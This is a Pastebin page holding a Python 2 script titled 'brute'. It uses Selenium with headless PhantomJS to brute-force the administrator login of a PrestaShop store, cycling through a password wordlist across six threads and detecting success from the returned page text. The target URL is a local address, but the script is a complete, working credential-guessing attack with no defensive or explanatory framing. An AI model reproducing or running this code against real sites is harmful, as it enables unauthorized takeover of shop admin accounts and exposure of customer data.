Advertisement
Driverfury

brute

Feb 3rd, 2016
195
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.93 KB | None | 0 0
  1. from selenium import webdriver
  2.  
  3. import selenium
  4.  
  5. import time
  6.  
  7. import thread
  8.  
  9. PHANTOMJS_PATH = "PhantomJS/bin/phantomjs.exe"
  10. PHANTOMJS_SERVICE_LOG_PATH = 'PhantomJS/ghostdriver.log'
  11.  
  12. HOME_URL = "http://127.0.0.1/projects/prestashop/admin989njjyor/index.php"
  13. EMAIL = "email@email.it"
  14. PASSWORD_LIST = "pwdList.txt"
  15.  
  16. NUM_OF_THREADS = 6
  17.  
  18. _password_found = False
  19. _password_found_str = -1
  20. _executing = []
  21. for i in range(0, NUM_OF_THREADS):
  22.     _executing.append(False)
  23.  
  24. def allThreadsWaiting():
  25.     global _executing
  26.     count = 0
  27.     for i in range(0, len(_executing)):
  28.         if _executing[i] == False:
  29.             count += 1
  30.     return count == len(_executing)
  31.  
  32. def setupDriver(drivers, index):
  33.     global PHANTOMJS_SERVICE_LOG_PATH
  34.     global PHANTOMJS_PATH
  35.  
  36.     drivers[index] = (selenium.webdriver.PhantomJS(executable_path=PHANTOMJS_PATH, service_log_path=PHANTOMJS_SERVICE_LOG_PATH))
  37.     drivers[index].get(url)
  38.  
  39. def tryPassword(drivers, index, pwd):
  40.     global _password_found
  41.     global _password_found_str
  42.     global _executing
  43.  
  44.     _executing[index] = True
  45.  
  46.     driver = drivers[index]
  47.  
  48.     print "Trying: " + pwd
  49.     elem = driver.find_element_by_id("passwd")
  50.     elem.clear()
  51.     elem.send_keys(pwd)
  52.     elem = driver.find_element_by_xpath("//button[@class=\"btn btn-primary btn-lg btn-block ladda-button\"]")
  53.     elem.click()
  54.     time.sleep(5)
  55.     driver.save_screenshot(pwd+".png")
  56.     html_source = str(driver.page_source.encode('ascii', 'ignore'))
  57.     if ( (not _password_found) and "password errata" in html_source):
  58.         print "    -> FAILED"
  59.     else:
  60.         if ("admin" in html_source or "Admin" in html_source):
  61.             if (not _password_found):
  62.                 _password_found = True
  63.                 _password_found_str = pwd
  64.         else:
  65.             print "    -> FAILED"
  66.     _executing[index] = False
  67.     return
  68.  
  69. # Fetch password from password list
  70. f = open(PASSWORD_LIST, "r")
  71. passList = f.readlines()
  72. f.close()
  73. for i in range(0, len(passList)):
  74.     if (passList[i][len(passList[i])-1] == '\n'):
  75.         passList[i] = passList[i][0:len(passList[i])-1]
  76.  
  77. # Start PhantomJS (Headless browser)
  78. url = HOME_URL
  79.  
  80. # Setting up web drivers
  81. print "Setting up PhantomJS..."
  82. drivers = []
  83. for i in range(0, NUM_OF_THREADS):
  84.     drivers.append(None)
  85. for i in range(0, NUM_OF_THREADS):
  86.     print "Setting up thread #" + str(i+1) + "..."
  87.     thread.start_new_thread( setupDriver, (drivers, i, ) )
  88.     time.sleep(1)
  89.  
  90. time.sleep(8)
  91.  
  92. print "Waiting for login to load..."
  93.  
  94. for i in range(0, len(drivers)):
  95.     elem = drivers[i].find_element_by_id("email")
  96.     elem.clear()
  97.     elem.send_keys(EMAIL)
  98.  
  99. count = 0
  100. for i in range(0, len(passList), len(drivers)):
  101.     for c in range(0, len(drivers)):
  102.         pwd = passList[i+c]
  103.         thread.start_new_thread( tryPassword, (drivers, c, pwd, ) )
  104.         time.sleep(1)
  105.         if (_password_found):
  106.             break
  107.     while (not allThreadsWaiting()):
  108.         # Nothing
  109.         continue
  110.     if (_password_found):
  111.         break
  112.  
  113. if (_password_found):
  114.     print "Password found: " + _password_found_str
  115.  
  116. for i in range(0, len(drivers)):
  117.     drivers[i].close()
  118.     drivers[i].quit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement